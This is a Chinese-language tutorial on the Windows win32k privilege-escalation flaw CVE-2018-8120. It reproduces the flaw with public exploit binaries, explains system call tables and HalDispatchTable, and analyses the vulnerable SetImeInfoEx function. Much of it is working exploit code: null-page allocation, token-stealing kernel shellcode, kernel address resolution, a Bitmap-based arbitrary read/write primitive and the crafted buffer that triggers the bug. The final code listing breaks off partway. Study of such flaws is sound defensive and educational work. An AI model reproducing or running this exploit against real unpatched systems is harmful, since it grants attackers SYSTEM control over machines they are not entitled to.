【操作系统安全】_Win7&Win8系列提权漏洞

文章目录

    • 漏洞概述和复现
        • 复现环境
        • 复现过程
            • 管理员身份复现
            • 普通用户复现
    • 基础知识
        • 系统调用
        • SSDT表 和 ShadowSSDT 表和 HalDispatchTable硬件抽象层调度表
        • R3任意修改R0地址空间内存
    • 漏洞原理
        • 查看exp源代码
        • 漏洞分析
        • 利用漏洞
            • 写一段获取System进程令牌的shellcode
            • 找到HalDispatchTable的地址
            • 构造两个Bitmap对象
            • 如何使SetImeInfoEx执行到qmemcpy
            • 完整利用代码
    • 参考


漏洞概述和复现

  百度搜索08提权神器,找到CVE-2018-8120提权漏洞。

内容 说明
漏洞名称 Windows操作系统Win32k的内核提权漏洞。
漏洞编号 CVE-2018-8120
漏洞描述 普通应用程序可利用win32k.sys组件的空指针漏洞以内核权限执行任意代码
影响版本 Win7 32/64位 sp1,WinServer 2008 32/64位 sp2,WinSer 2008 R2 SP1

  具体影响版本信息:
  Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems SP1
  Windows Server 2008 for 32-bit Systems SP2
Windows Server 2008 for Itanium-Based Systems SP2
Windows Server 2008 for x64-based Systems SP2
  Windows Server 2008 R2 for Itanium-Based Systems SP1
Windows Server 2008 R2 for x64-based Systems SP1


复现环境

  复现环境:
OS版本:操作系统Win7 x64 SP1
系统型号:VMware Virtual Platform
系统类型:x64-based PC

  exp来源:
样本来源:https://github.com/unamer/CVE-2018-8120
优化后的样本:https://github.com/alpha1ab/CVE-2018-8120(亲测可以)


复现过程

管理员身份复现

  查看默认用户信息net user simi:本地组成员,*Administrators
  查看当前目录下的文件:dir
  从宿主机把exp文件夹拖到虚拟机,cd跳转到目录
执行命令cve-2018-8120.exe “whoami”,程序中断“cve-2018-8120.exe已停止工作”。
  仔细查看发现,应该使用x64/Release/目录下的cve-2018-8120.exe。
通过“cve-2018-8120.exe 命令”可以使用system用户执行命令。

【操作系统安全】_Win7&Win8系列提权漏洞_第1张图片

【操作系统安全】_Win7&Win8系列提权漏洞_第2张图片
【操作系统安全】_Win7&Win8系列提权漏洞_第3张图片

普通用户复现

  control打开控制面板,新建普通用户users_test。
  切换用户,发现桌面文件是空的,说明不共享文件。
  打开管理员组账户simi的文件夹,输入管理员密码,找到exp程序,执行命令cve-2018-8120.exe “whoami”,成功以system身份运行命令。

【操作系统安全】_Win7&Win8系列提权漏洞_第4张图片

【操作系统安全】_Win7&Win8系列提权漏洞_第5张图片
【操作系统安全】_Win7&Win8系列提权漏洞_第6张图片
【操作系统安全】_Win7&Win8系列提权漏洞_第7张图片


基础知识

系统调用

  虽然用户程序不能直接访问内核空间,但是用户程序可以通过调用系统服务来间接访问系统空间中的数据或间接调用执行系统空间中的代码。当调用系统服务时,调用线程会从用户模式切换到内核模式,调用结束后再返回到用户模式,也就是所谓的模式切换,有时也被称为上下文切换(Context Switch)。模式切换是通过软中断或专门的快速系统调用(Fast System Call)指令来实现。

  下面我来简要介绍下Windows 7 X86 sp1 是如何通过SYSENTER指令实现快速系统调用的。举一个简单的例子。调用ReadFile()这个函数的流程为下图所示:

【操作系统安全】_Win7&Win8系列提权漏洞_第8张图片
  使用Windbg查看NTDLL.DLL中导出的NtReadFile()函数的反汇编:

kd> uf ntdll!NtReadFile
ntdll!ZwReadFile:
775762b8 b811010000      mov     eax,111h ;NtReadFile的系统服务号码为 0x111
775762bd ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
775762c2 ff12            call    dword ptr [edx]
775762c4 c22400          ret     24h

  那么当第二句 mov edx,offset SharedUserData!SystemCallStub 执行后,edx 值为0x7ffe0300。因为第三句是 call dword ptr [edx] 所以继续查看地址SharedUserData!SystemCallStub 处的值:

lkd> dd SharedUserData!SystemCallStub
7ffe0300  775770b0 775770b4 00000000 00000000

  继续执行call dword ptr [edx] 则跳转到地址0x775770b0处执行,继续使用神器反汇编:

lkd> uf 775770b0 
ntdll!KiFastSystemCall:
775770b0 8bd4            mov     edx,esp
775770b2 0f34            sysenter
775770b4 c3              ret

  当执行sysenter指令后,进入内核模式,调用KisystemService()函数,该函数会根据服务ID从系统服务分发表(System Service Dispatch Table)中找到要调用的服务函数的函数地址和参数描述,然后调用内核中正真的NtReadFile()函数。那个服务ID就是进入SharedUserData!SystemCallStub之前那个mov eax,111h的111h。

SSDT表 和 ShadowSSDT 表和 HalDispatchTable硬件抽象层调度表

  在windows NT系列操作系统中,有两种类型的系统服务,一种是实现在内核文件中,是常用的系统服务。另一种实现在win32k.sys中,是一些与图形显示及用户界面相关的系统服务。这些系统服务在系统运行期间常驻于系统内存区中,并且他们的入口地址保存在两个系统服务地址表KiServiceTable和Win32pServiceTable中.所有的系统服务地址表都保存在系统服务描述表(SDT)中。

   目前windows系统共有两个SDT,一个是ServiceDescriptorTable(SSDT),另一个是ServiceDescriptorTableShadow(SSDTShadow).

   ​ 其中ServiceDescriptorTable中只包含KiServiceTable,而ServiceDescriptorTableShadow中既包含KiServiceTable又包含Win32pServiceTbale.其中SSDT是可以访问的而SSDTShadow是不公开的。

   ​ 使用windbg查看SSDT和SSDTShadow如下:

lkd> dd nt!KeServiceDescriptorTable
83fad9c0  83ec1d9c 00000000 00000191 83ec23e4 
83fad9d0  00000000 00000000 00000000 00000000 //SSDT中该项为空
 
lkd> dd nt!KeServiceDescriptorTableShadow
83fada00  83ec1d9c 00000000 00000191 83ec23e4
83fada10  955b6000 00000000 00000339 955b702c //SSDTShadow中该项不为空
 
SDT的表项中成员按以下数据结构组成:
typedef struct _KSYSTEM_SERVICE_TABLE
{
    PULONG ServiceTableBase;         // 0x00 系统服务地址表地址
    PULONG ServiceCounterTableBase;  // 0x04 
    PULONG NumberOfService;          // 0x08 服务函数的个数
    ULONG ParamTableBase;            // 0x0c 该系统服务的参数表
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE; //sizeof=0x10
 
那么根据SSDTShadow可以得到KiServiceTable的地址为0x83ec1d9c,包含0x191个服务函数;
可以得到Win32pServiceTable的地址为0x955b6000,包含0x339个服务函数。

  这时我们去看看Win32pServiceTable处的东西:

lkd> dds 955b6000 
955b6000  95543d37 win32k!NtGdiAbortDoc
955b6004  9555bc23 win32k!NtGdiAbortPath
955b6008  953b71ac win32k!NtGdiAddFontResourceW
955b600c  95552c5d win32k!NtGdiAddRemoteFontToDC
955b6010  9555d369 win32k!NtGdiAddFontMemResourceEx
955b6014  95544554 win32k!NtGdiRemoveMergeFont
955b6018  955445e8 win32k!NtGdiAddRemoteMMInstanceToDC
955b601c  9546dad1 win32k!NtGdiAlphaBlend
955b6020  9555cb94 win32k!NtGdiAngleArc
955b6024  95421965 win32k!NtGdiAnyLinkedFonts
955b6028  95421882 win32k!NtGdiFontIsLinked
955b602c  9555eead win32k!NtGdiArcInternal
955b6030  9555d085 win32k!NtGdiBeginGdiRendering
955b6034  9555bc97 win32k!NtGdiBeginPath
955b6038  954628cb win32k!NtGdiBitBlt

  可以发现它的每一个成员都是一个四字节的服务函数指针!如果把这里面某个函数指针改为我们shellcode的地址,再在用户层调用它的R3对应函数,那么不就让我们的shellcode在高权限执行了吗?但是,我们需要一个更好的目标,它在我们程序的运行阶段不会被其他任何进程调用。(因为又不是你一个程序在调系统服务函数,如果其他程序调用了你改了函数指针指向的函数,就会有不可预料的事情发生,比如BSOD).

  ​另一个很好的表是硬件抽象层(HAL)调度表nt!HalDispatchTable。这里也存储了系统调用地址,不过是HAL例程的地址。用温帝霸查看如下所示:

lkd> dds nt!HalDispatchTable
83f6e3f8  00000004
83f6e3fc  83e338a2 hal!HaliQuerySystemInformation
83f6e400  83e341b4 hal!HalpSetSystemInformation

  注意到nt!HalDispatchTable+4那个地址指向的函数了吗?这个函数就是我们要覆盖为shellcode地址的最佳选择。因为有一个名为NtQueryIntervalProfile的未记录函数,它获取当前为给定配置文件源设置的配置文件间隔。该函数可以通过调用GetProcAddress从NTDLL.DLL中获取地址,在userland调用。该函数在内部调用KeQueryIntervalProfile函数 :

kd> u nt!NtQueryIntervalProfile + 0x62
nt!NtQueryIntervalProfile+0x62:
8414fecd 7507            jne     nt!NtQueryIntervalProfile+0x6b (8414fed6)
8414fecf a1acdbf683      mov     eax,dword ptr [nt!KiProfileInterval (83f6dbac)]
8414fed4 eb05            jmp     nt!NtQueryIntervalProfile+0x70 (8414fedb)
8414fed6 e83ae5fbff      call    nt!KeQueryIntervalProfile (8410e415);调用KeQueryIntervalProfile
8414fedb 84db            test    bl,bl
8414fedd 741b            je      nt!NtQueryIntervalProfile+0x8f (8414fefa)
8414fedf c745fc01000000  mov     dword ptr [ebp-4],1
8414fee6 8906            mov     dword ptr [esi],eax
//本地u好像权限不够,双机调u成功

  继续反汇编nt!KeQueryInterValProfile:

kd> u nt!KeQueryIntervalProfile+0x23
nt!KeQueryIntervalProfile+0x23:
8410e438 ff15fce3f683    call    dword ptr [nt!HalDispatchTable+0x4 (83f6e3fc)]
8410e43e 85c0            test    eax,eax
8410e440 7c0b            jl      nt!KeQueryIntervalProfile+0x38 (8410e44d)
8410e442 807df400        cmp     byte ptr [ebp-0Ch],0
8410e446 7405            je      nt!KeQueryIntervalProfile+0x38 (8410e44d)
8410e448 8b45f8          mov     eax,dword ptr [ebp-8]
8410e44b c9              leave
8410e44c c3              ret

  发现了吗?nt!HalDispatchTable+0x4不就是hal!HaliQuerySystemInformation吗?所以我们可以用userland中的令牌(Token)窃取shellcode的地址覆盖这个指针,那么一旦我们调用NtQueryIntervalProfile函数的时候,就会在内核中运行我们的shellcode啦!!!

R3任意修改R0地址空间内存

  这里有一个非常强的方法来实现任意内存读写,那就是利用Bitmap内核对象中的pvScan0字段。系统API的GetBitmapBits和SetBitmapBits可以读写pvScan0所指向内存地址的内容。具体细节在下文中有。

  如果这个pvScan0指向nt!HalDispatchTable+0x4,那么我们就可以先用GetBitMap()把原本的HaliQuerySystemInforMation函数地址保存起来,再用SetBitmapBits()函数将其改为shellcode的地址,那么这个时候调用NtQueryIntervalProfile就在内核中执行了我们的shellcode,shellcode执行完之后再用SetBitmapBits()将刚刚保存的原地址改回去就行了。

  但是…又怎么在userland改pvScan0的值啊,这时就要利用CVE-2018-8120这个漏洞了。下面开始进入正题。


漏洞原理

查看exp源代码

  通过Github上面的两个exp项目,查看了两个利用程序的源代码,分别是452行和718行利用代码,源代码地址如下。建议先看漏洞分析的资料,然后再看漏洞利用代码。

https://github.com/bigric3/cve-2018-8120/blob/master/main.cpp
https://github.com/alpha1ab/CVE-2018-8120/blob/master/CVE-2018-8120/CVE-2018-8120/Source.cpp

  查找相关资料,CVE-2018-8120为缓冲区溢出漏洞,可造成内核任意地址写入。 前文中漏洞利用工具通过触发漏洞,对内核服务函数指针表进行修改,替换为一段修改当前进程Token的ShellCode地址。

漏洞分析

  使用IDA工具进行反编译、Windbg进行调试,对比补丁前后的程序进行分析。

  首先,在VM中装好windows 7 sp1 x86版本,使其断开网络连接,防止系统自动安装补丁。将位于C:\Windows\System32\目录下的win32k.sys文件拿到IDA中F5分析(就只会IDA的F5的小白一只)。在函数窗口查找到SetImeInfoEx()函数,双击之后按F5得到:

signed int __stdcall SetImeInfoEx(signed int a1, _DWORD *a2)
{
  signed int result; // eax
  _DWORD *v3; // eax
  _DWORD *v4; // eax
 
  result = a1;
  if ( a1 )
  {
    v3 = *(_DWORD **)(a1 + 20);
    while ( v3[5] != *a2 )
    {
      v3 = (_DWORD *)v3[2];
      if ( v3 == *(_DWORD **)(a1 + 20) )
        return 0;
    }
    v4 = (_DWORD *)v3[11];
    if ( !v4 )
      return 0;
    if ( !v4[18] )
      qmemcpy(v4, a2, 0x15Cu);
    result = 1;
  }
  return result;
}

  先啥都不看,看到qmemcpy(v4,a2,348u)没得?假如我们可以指定v4的值和a2的值不就可以实现任意内存拷贝了吗?只不过是将a2指向的348个字节拷贝到v4指向的内存,拷贝得好像有点多。不管不管,先看看能不能控制a2和v4。

  假如能够执行到qmemcpy() , 由a4等于v3[11],v3的值与a1得值有关,所以需要知道a1和a2到底是啥子东西。因为win32k.sys并没有导出SetImeInfoEx ,那就看看是win32k.sys中的哪个函数调了SetImeInfoEx,切换回这个函数的文本视图(IDA View1),点击view->open subviews->function calls 查看调用关系。如下图所示:

在这里插入图片描述

  就只有NtUserSetImeInfoEx 是Caller。F5查看NtUserSetImeInfoEx的代码:v6是NtUserSetImeInfoEx的参数参数类型为tagIMEINFOEX ,v4是通过_GetProcessWindowStation得到的返回值,其类型为tagWINDOWSTATION.。

//调用处关键代码
v4 = _GetProcessWindowStation(0);
v1 = SetImeInfoEx(v4, &v6);

  所以由此可得:

0 signed int __stdcall SetImeInfoEx(tagWINDOWSTATION* a1, tagIMEINFOEX *a2)
1 {
2  signed int result; // eax
3  tagKL *v3; // eax
4  tagIMEINFOEX *v4; // eax
5
6  result = a1;
7  if ( a1 )
8  {
9    v3 = a1->spkList; // 如果spkList为NULL,则下面使用v3访问的时候将触发访问异常
10    while ( v3->hkl != a2->hkl )
11   {
12      v3 = v3->pklNext;
13      if ( v3 == a1->spkList )
14        return 0;
15    }
16    v4 = v3->piiex;
17    if ( !v4 )
18      return 0;
19    if ( !v4->fLoadFlag)
20      qmemcpy(v4, a2, 0x15Cu); //sizeof(tagIMEINFOEX)=0x15c
21    result = 1;
22  }
23  return result;
24}

  分析代码:第9行:v3 = a1->spkList 如果a1->spkList的值为0,那么v3也就为0了,那么执行while(v3->hkl != a2->hkl)的时候,就会访问虚拟地址为0的地址空间,而这一区域是空指针赋值分区(x86 32位下范围为:0x00000000-0x0000FFFF),对这一分区进行读取或写入会引发访问违规。如果是r3对这一分区进行读写,则会弹出一个消息提示框提示程序错误。如果是r0对这一分区进行读写,则会直接触发蓝屏。

利用漏洞

  分配零页内存,创建并设置窗口站:

//分配零页内存
HMODULE hntdll = GetModuleHandle("ntdll");
    _NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
    PVOID addr = (PVOID)0x100;
    DWORD size = 0x10;
    NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//创建窗口站
HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
//设置窗口站
SetProcessWindowStation(hSta);
写一段获取System进程令牌的shellcode

  首先来点基础知识:每个进程都在内核中都会有且仅有一个EPROCESS结构。该结构几乎包括了进程所有关键信息和重要资产。其中EPROCESS结构中的Token字段记录着这个进程的TOKEN结构的地址,进程的很多与安全相关的信息是记录在这个TOKEN结构中的。所以如果我们想获得SYSTEM权限,就可以将拥有SYSTEM权限进程的Token字段的值找到,并赋值给我们创建程序进程的EPROCESS的Token字段。就可以完成提权了。

  所以我们在内核空间执行的shellcode的第一步 是找到拥有SYSTEM权限的进程的EPROCESS结构地址,拥有SYSTEM权限的进程就是System进程(该PID固定为4)。第二步就是将它的Token字段赋值给我们程序EPROCESS的Token。

  那么如何在内核空间中找到System进程的EPROCESS呢?那么我们先找到自己进程的EPROCESS结构。在R0中,fs寄存器指向一个叫KPCR的数据结构:

lkd> dt _KPCR -r1
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : Ptr32 Void
   +0x008 Spare2           : Ptr32 Void
   +0x00c TssCopy          : Ptr32 Void
   +0x010 ContextSwitches  : Uint4B
   +0x014 SetMemberCopy    : Uint4B
   +0x018 Used_Self        : Ptr32 Void
   +0x01c SelfPcr          : Ptr32 _KPCR
   +0x020 Prcb             : Ptr32 _KPRCB
   +0x024 Irql             : UChar
   +0x028 IRR              : Uint4B
   +0x02c IrrActive        : Uint4B
   +0x030 IDR              : Uint4B
   +0x034 KdVersionBlock   : Ptr32 Void
   +0x038 IDT              : Ptr32 _KIDTENTRY
   +0x03c GDT              : Ptr32 _KGDTENTRY
   +0x040 TSS              : Ptr32 _KTSS
   +0x044 MajorVersion     : Uint2B
   +0x046 MinorVersion     : Uint2B
   +0x048 SetMember        : Uint4B
   +0x04c StallScaleFactor : Uint4B
   +0x050 SpareUnused      : UChar
   +0x051 Number           : UChar
   +0x052 Spare0           : UChar
   +0x053 SecondLevelCacheAssociativity : UChar
   +0x054 VdmAlert         : Uint4B
   +0x058 KernelReserved   : [14] Uint4B
   +0x090 SecondLevelCacheSize : Uint4B
   +0x094 HalReserved      : [16] Uint4B
   +0x0d4 InterruptMode    : Uint4B
   +0x0d8 Spare1           : UChar
   +0x0dc KernelReserved2  : [17] Uint4B
   +0x120 PrcbData         : _KPRCB

  注意它的最后一个成员PrcbData,它的类型是_KPRCB。使用windbg查看:

lkd> dt _KPRCB
nt!_KPRCB
   +0x000 MinorVersion     : Uint2B
   +0x002 MajorVersion     : Uint2B
   +0x004 CurrentThread    : Ptr32 _KTHREAD //指向当前线程_KTHREAD结构的指针。
   +0x008 NextThread       : Ptr32 _KTHREAD
   +0x00c IdleThread       : Ptr32 _KTHREAD
.....

  也就说fs:[124]其实是指向当前线程的_KTHREAD ,下面继续查看 _KTHREAD结构:

lkd> dt _KTHREAD -r1
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
  ....
   +0x03c MiscFlags        : Int4B
   +0x040 ApcState         : _KAPC_STATE
      +0x000 ApcListHead      : [2] _LIST_ENTRY
      +0x010 Process          : Ptr32 _KPROCESS//指向当前进程EPROCESS结构
      +0x014 KernelApcInProgress : UChar
      +0x015 KernelApcPending : UChar
      +0x016 UserApcPending   : UChar
   +0x040 ApcStateFill     : [23] UChar
   +0x057 Priority         : Char
   +0x058 NextProcessor    : Uint4B

  额,你可能要问_KTHREAD.ApcState.Process不是指向的是 _KPROCESS的指针吗?难道EPROCESS和KPROCESS一样? 肯定不一样啊,但是你看看 EPROCESS的组成就清楚了。

lkd> dt _EPROCESS
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x098 ProcessLock      : _EX_PUSH_LOCK
   +0x0a0 CreateTime       : _LARGE_INTEGER
   +0x0a8 ExitTime         : _LARGE_INTEGER
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 ProcessQuotaUsage : [2] Uint4B
   +0x0c8 ProcessQuotaPeak : [2] Uint4B
   +0x0d0 CommitCharge     : Uint4B
   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_Q

  注意到没,EPROCESS的第一个成员不就是_KPROCESS吗?所以_KTHREAD.ApcState.Process其实指向的是EPROCESS,取它地址的值就是_KPROCESS的指针。

  所以我们获取当前进程EPROCESS的汇编代码可以写成:

mov edx, 0x124;
mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
mov edx, 0x50;
mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
mov ecx, eax;// Copy current _EPROCESS structure

  你可能又要问了,你怎么晓得该这样做?答案是:你可以去反汇编一下这个函数就晓得了:

lkd>  u nt!PsGetCurrentProcess
nt!PsGetCurrentProcess:
83ecdb60 64a124010000    mov     eax,dword ptr fs:[00000124h]
83ecdb66 8b4050          mov     eax,dword ptr [eax+50h]
83ecdb69 c3              ret
 
调用这个函数可以得到当前进程的EPROCESS结构。

  好了,现在我们已经获得了我们自身进程的EPROCESS结构了,但是我们第一步需要做的是 获得System进程的EPROCESS啊。获得自己的EPROCESS有啥子用呢?不用急,请看EPROCESS的ActiveProcessLinks成员,它是一个_LIST_ENTRY结构。让我们展开看看

lkd> dt _EPROCESS -r1
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   .....
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
      +0x000 Flink        : Ptr32 _LIST_ENTRY //指向前一个进程的EPROCESS.ActiveProcessLinks.Flink
      +0x004 Blink        : Ptr32 _LIST_ENTRY //指向后一个进程的EPROCESS.ActiveProcessLinks.Flink
   +0x0c0 ProcessQuotaUsage : [2] Uint4B

  在windows系统中,每创建一个进程系统内核就会为其创建一个EPROCESS,然后使EPROCESS.ActiveProcessLinks.Flink=上一个创建的进程的EPROCESS.ActiveProcessLinks.Flink的地址,而上一个创建进程的EPROCESS.ActiveProcessLinks.Blink=新创建进程的EPROCESS.ActiveProcessLinks.Flink的地址,构成了一个双向链表。所以找到一个就可以通过Flink和Blink遍历整个进程EPROCESS了,又由于System进程是最先创建的进程之一。所以它必然在当前进程(我们编写的这个程序进程)之前,所以就一直循环访问Flink就行了。又因为EPROCESS的UniqueProcessId成员指向的是该EPROCESS所属进程的PID。所以我们就可以循环遍历EPROCESS,判断其PID是否为4.若是就找到了System进程的EPROCESS结构了。

  既然找到了System进程的EPRCESS了,那么第二步:获取它的Token值还不是轻而易举。下面贴出完整shellcode

__declspec(noinline) int shellcode()
{
    __asm {
        pushad;// save registers state
        mov edx, 0x124;
        mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
        mov edx, 0x50;
        mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
        mov ecx, eax;// Copy current _EPROCESS structure
        mov esi, 0xf8;// Token在EPROCESS的偏移为0xf8
        mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
        mov edi, 0xb8;//Flink在EPROCESS的偏移为0xb8
        mov ebx, 0xb4;//UniqueProcessId在EPROCESS的偏移为0xb4
    SearchSystemPID:
        mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
        sub eax, edi;// 执行之后,eax 为EPROCESS的地址
        cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId
        jne SearchSystemPID;
        mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
        mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
        
        popad;// restore registers state
        xor eax, eax;// Set NTSTATUS SUCCEESS
 
    }
}
找到HalDispatchTable的地址

  因为我们要使我们的shellcode在R0执行,通过在2.2.2中分析的,我们需要得到nt!HalDispatchTable+0x4的值。那么我们只需要得到HalDispatchTable地址,然后加4就行了。

  要在R3得到内核中得到HalDispatchTable的位置,我们可以使用’NtQuerySystemInformation’函数。此函数可帮助用户进程查询内核以获取有关OS和硬件状态的信息。 这个函数没有导入库,我们必须使用’GetModuleHandle’和’GetProcAddress’在’ntdll.dll’的内存范围内动态加载’NtQuerySystemInformation’函数。

  代码如下:

#include 
#include 
#define MAXIMUM_FILENAME_LENGTH 255 
typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    BYTE                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 11,
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );
int main()
{
    ULONG len = 0;
    PSYSTEM_MODULE_INFORMATION pModuleInfo;
    HMODULE ntdll = GetModuleHandle("ntdll");
    PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
    //先获取函数返回 "模块信息" 数据得大小存在len中
    query(SystemModuleInformation, NULL, 0, &len);
    //分配len长度的缓冲区
    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
    //这下才真正来获取"模块信息"存到 刚刚申请的缓存中
    query(SystemModuleInformation, pModuleInfo, len, &len);
    //"模块信息"的第一项必为nt内核文件,获取它在内核中的基址
    PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
    //获取nt内核文件名
    PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;
    kernelImage = strrchr(kernelImage, '\\') + 1;
    wprintf(L"[+] Kernel Image name %S\n", kernelImage);
    wprintf(L"[+] Kernel Image Base %p\n", kernelImageBase);
    //获取nt内核文件在用户空间下中基址
    HMODULE KernelHandle = LoadLibraryA(kernelImage);
    wprintf(L"[+] Kernel Handle %p\n", KernelHandle);
    //获取"HalDispatchTable"在用户空间中的地址
    PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
    wprintf(L"[+] HalDispatchTable userland %p\n", HALUserLand);
    PVOID HalDispatchTable = (PVOID)((ULONG)HALUserLand - (ULONG)KernelHandle + (ULONG)kernelImageBase);
    wprintf(L"[~] HalDispatchTable Kernel %p\n", HalDispatchTable);
    system("pause");
    return 0;
}

为啥要获取nt内核文件的名字呢?

答:因为NT内核文件的名字会因为单处理器和多处理器以及不同位数的操作系统版本以及是否支持PAE(Physical Address Extension)而不同。所以需要编程获取。

为啥会是HalDispatchTable = HALUserLand - KernelHandle + kernelImageBase?

答:HalDispatchTable在内核中真正的地址需要使用加载模块的基地址+HalDispatchTable在该模块中的偏移来获取的。我们通过NtQuerySystemInformation获取了nt模块的基址kernelimageBase。通过计算用户空间中HalDispatchTable的地址-用户空间中nt模块的地址可以获得偏移。
构造两个Bitmap对象

  虽然我们已经得到了nt!HalDispatchTable+0x4的值,我们可以先把它指向内存的值先保存起来,然后再改它指向内存的值为我们那段shellcode的值,然后再在R3调用NtQueryIntervalProfile函数就可以使我们的shellcode运行在R0了(2.2.2节),成功实现提权,然后再把保存起来的那个值再改回去就行了。

  但是,我们如何在R3来获取nt!HalDispatchTable+0x4所指向内存的值,又如何改nt!HalDispatchTable+0x4所指向内存的值呢?在 5节中我介绍了如何利用 Bitmap GDI函数实现内核任意地址读/写 。假如我们可以修改pvScan0 的值(下面的6.5将会讲解如何修改),我们构造两个Bitmap对象:gManger和gWorker。

【操作系统安全】_Win7&Win8系列提权漏洞_第9张图片

  具体步骤:

我们利用CVE-2018-8120将Manger.pScan的值设置为gWorker.pScan的地址
gManger利用SetBitmapBits将gWorker.pScan的值改为HalDisptchTable+4
gWorker利用GetBitmapBits获取HalDispatchTable+4所指内存的值获取得,假设为oriaddr。
gWorker利用SetBitmapBits将HalDispatchTable+4所指内存的值设置为shellcode的地址
调用NtQuerySystemInformation执行shellcode
gWorker利用SetBitmapBits将HalDispatchTable+4所指内存的值设置为oriaddr。进行还原。

  下面介绍如何利用SetImeInfoEx(CVE-2018-8120)来改gManger的pvScan0 的值。

如何使SetImeInfoEx执行到qmemcpy

​ 先贴出SetImeInfoEx的代码吧:

0 signed int __stdcall SetImeInfoEx(tagWINDOWSTATION* a1, tagIMEINFOEX *a2)
1 {
2  signed int result; // eax
3  tagKL *v3; // eax
4  tagIMEINFOEX *v4; // eax
5
6  result = a1;
7  if ( a1 )
8  {
9    v3 = a1->spkList; 
10    while ( v3->hkl != a2->hkl )
11   {
12      v3 = v3->pklNext;
13      if ( v3 == a1->spkList )
14        return 0;
15    }
16    v4 = v3->piiex;
17    if ( !v4 )
18      return 0;
19    if ( !v4->fLoadFlag)
20      qmemcpy(v4, a2, 0x15Cu); //sizeof(tagIMEINFOEX)=0x15c
21    result = 1;
22  }
23  return result;
24}

​  现在我们有的条件是,a1->spkList为0,而我们已经在0处申请了R3可读可写的内存,v3和v4都是 我们可以控制的,而a2是NtUserSetImeInfoEx(tagIMEINFOEX imeinfo) ,嘿嘿又是我们可以控制的。

​  那么首先我们要跳过while循环,那就让v3->hkl 等于 a2->hkl,然后需要指定v3->piiex等于gManger.pvScan0 的地址,也就是指定qmemcpy目的地址。

  然后让a2指向内存的头4个字节的值为gWorker.pvScan0的地址。那么执行qmemcpy之后,就可以把gManger.pvScan0的值改为gWorker.pvScan0的地址了。

  还要注意的是,qmemcpy拷贝了0x15c个字节,势必会影响gManger.pvScan0 之后的内存,后面调用Gdi32 的 GetBitmapBits/SetBitmapBits 这两个函数就会不成功,有几个值是我们必须要在传给NtUserSetImeInfoEx的参数中要构造的imeinfo中填上的,这几个值我抄的网上的文章的。

  下面给出构造代码:

PVOID mpv = getpvscan0(gManger);//获得gManger.pvScan0的地址
PVOID wpv = getpvscan0(gWorker);//获得gWorker.pvScan0的地址
 
P_tagKL pkl = NULL;
pkl->hkl = (HKL__ *)wpv;
pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID));//这里-4,也就是说,下面的p[1]也要为wpv
    
char ime[0x200];
RtlSecureZeroMemory(&ime, 0x200);
    
PVOID *p = (PVOID*)&ime;
p[0] = (PVOID)wpv;
p[1] = (PVOID)wpv;
 
DWORD *pp = (DWORD*)&p[2];
pp[0] = 0x180;
pp[1] = 0xabcd;
pp[2] = 6;
pp[3] = 0x10000;
pp[5] = 0x4800200;
    
NtUserSetImeInfoEx((PVOID)&ime);//触发漏洞
完整利用代码
//windows 7 sp1 x86 no patch
 
#include
#include
 
#define MAXIMUM_FILENAME_LENGTH 255 
typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    BYTE                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;
 
typedef struct SYSTEM_MODULE_INFORMATION {
